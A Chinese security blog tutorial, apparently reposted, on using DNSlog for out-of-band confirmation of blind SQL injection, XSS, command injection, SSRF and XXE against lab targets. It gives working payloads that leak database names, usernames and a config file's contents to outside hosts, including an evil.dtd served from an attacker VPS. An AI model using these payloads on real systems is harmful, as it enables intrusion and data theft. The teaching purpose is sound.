花5分钟就能上手的dnslog盲打小技巧!

技术

1.什么是dnslog

DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件

2.dnslog通常用在哪个地方


      
          

        
 1.SQL盲注
 
        
 2.无回显的XSS
 
        
 3.无回显的命令执行
 
        
 5.无回显的SSRF
 
        
 5.Blind XXE
 
      
    

2.1.SQL盲注

无论时时间盲注还是布尔盲注,都需要发送大量的数据包去判断数据,很容易导致被waf封IP,如果条件允许的话,可以使用dnslog进行快速的数据外带。以Mysql为例,通过dnslog外带数据需要用到load_file函数,所以一般得是root权限,并且secure_file_priv得为空


      
          

        
 payload:
 
        
 select load\_file(concat('\\\\',(select hex(user())),'.dnslog\\aa'));
 
        
 注意:后面的aa文件存不存在不重要,随便写都行,但是必须要写,因为是load\_file函数需要的条件
 
      
    

以dvwa靶场为例(已手动修改:secure_file_priv=”):


      
          

        
 payload:
 
        
 1' and (select load\_file(concat('//',(select hex(user())),'.xxxx.ceye.io/as')))# //查看当前用户
 
        
 1' and (select load\_file(concat('//',(select database()),'.xxxx.ceye.io/as')))#  //查数据库
 
        
 1' and (select load\_file(concat('//',(select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),'.xxxx.ceye.io/as')))#  //查询当前数据库第一个表,第二个类推
 
      
    

picture.image

2.2.无回显的XSS


      
          

        
 payload:
 
        
 <ImG src=http://xss.9e5ehg.dnslog.cn>
 
      
    

picture.image

然后回头看下dnslog,证明漏洞存在。

picture.image

2.3.无回显的命令注入

发现疑似命令执行的洞,但是目标站点什么也不显示,无法确认是不是有漏洞。


      
          

        
 windows:
 
        
 ping %USERNAME%.us0r6c.dnslog.cn
 
        
   

 
        
 linux:
 
        
 ping `whoami`.us0r6c.dnslog.cn 或者 x=`hostname`;ping -c 1 $x.d7jlma.dnslog.cn
 
      
    

picture.image

picture.image

picture.image

下面是windows常用的变量。


      
          

        
 //变量                     类型       描述
 
        
 //%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
 
        
 //%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
 
        
 //%CD%                     本地       返回当前目录字符串。
 
        
 //%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
 
        
 //%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
 
        
 //%COMPUTERNAME%           系统       返回计算机的名称。
 
        
 //%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
 
        
 //%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
 
        
 //%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
 
        
 //%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
 
        
 //%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
 
        
 //%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
 
        
 //%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
 
        
 //%NUMBER\_OF\_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
 
        
 //%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows\_NT。
 
        
 //%PATH%                   系统       指定可执行文件的搜索路径。
 
        
 //%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
 
        
 //%PROCESSOR\_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
 
        
 //%PROCESSOR\_IDENTFIER%    系统       返回处理器说明。
 
        
 //%PROCESSOR\_LEVEL%        系统       返回计算机上安装的处理器的型号。
 
        
 //%PROCESSOR\_REVISION%     系统       返回处理器的版本号。
 
        
 //%P ROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
 
        
 //%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
 
        
 //%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
 
        
 //%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
 
        
 //%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
 
        
 //%TIME%                   系统       返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。
 
        
 //%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
 
        
 //%USERNAME%               本地       返回当前登录的用户的名称。
 
        
 //%USERPROFILE%            本地       返回当前用户的配置文件的位置。
 
        
 //%WINDIR%                 系统       返回操作系统目录的位置。
 
      
    

2.4.无回显的SSRF

这边用的是vulhub的一个weblogic的ssrf漏洞。


      
          

        
 /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://rsr8pf.dnslog.cn
 
        
 然后查看dnslog有记录,就很有可能存在ssrf漏洞
 
      
    

picture.image

2.5.Blind XXE

这边用的是pikachu靶场,项目地址:https://github.com/zhuifengshaonianhanlu/pikachu

2.5.1.未修改源码前,可以看到是有回显的。


      
          

        
 <?xml version="1.0" encoding="UTF-8"?>
 
        
 <!DOCTYPE ANY [
 
        
 <!ENTITY xxe SYSTEM "file:///C://phpstudy\_pro/Extensions/MySQL5.7.26/my.ini" >
 
        
 ]>
 
        
 <value>&xxe</value>
 
      
    

picture.image

2.5.2.修改源码,使其变成无回显。

picture.image


      
          

        
 <?xml version="1.0" encoding="UTF-8"?>
 
        
 <!DOCTYPE ANY [
 
        
 <!ENTITY xxe SYSTEM "http://zhwzti.dnslog.cn" >
 
        
 ]>
 
        
 <value>&xxe</value>
 
      
    

无回显,但是可以看到dnslog收到请求,证明xxe漏洞存在。

picture.image

文件读取

注:这里需要一个VPS,VPS中放入一个DTD的文件,文件dtd内容如下:


      
          

        
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C://phpstudy\_pro/Extensions/MySQL5.7.26/my.ini">
 
        
 <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.232.131:1333/?p=%file;'">
 
      
    

然后利用python3开启http服务。


      
          

        
 python3 -m http.server --bind 0.0.0.0 1333
 
      
    

picture.image


        
            

          pyload:  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [  
<!ENTITY % dtd SYSTEM "http://192.168.232.131:1333/evil.dtd">  
%dtd;%int;%send;]>
        
      

picture.image

burp suite提交数据后,vps获得一串base64编码。

picture.image

将base64编码拿去解码后就是my.ini的文件内容。

picture.image

3.结语

以上就是斗哥的技巧分享啦!下期再见!


        
            

          作者:l1ch,转载于国科漏斗社区。
        
      

历史文章推荐:

域用户密码爆破研究

渗透测试中的提权思路(详细!)

干货|文件上传绕过思路拓展

内网信息收集总结

PHP无回显渗透测试总结

一些webshell免杀的技巧

XSS 实战思路总结

一种后渗透阶段权限维持方法

内网渗透之域渗透命令执行总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
云原生数仓如何构建高性能向量检索技术
火山引擎ByteHouse团队基于社区 ClickHouse 进行技术演进,提出了全新的向量检索功能设计思路,满足业务对向量检索稳定性与性能方面的需求。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论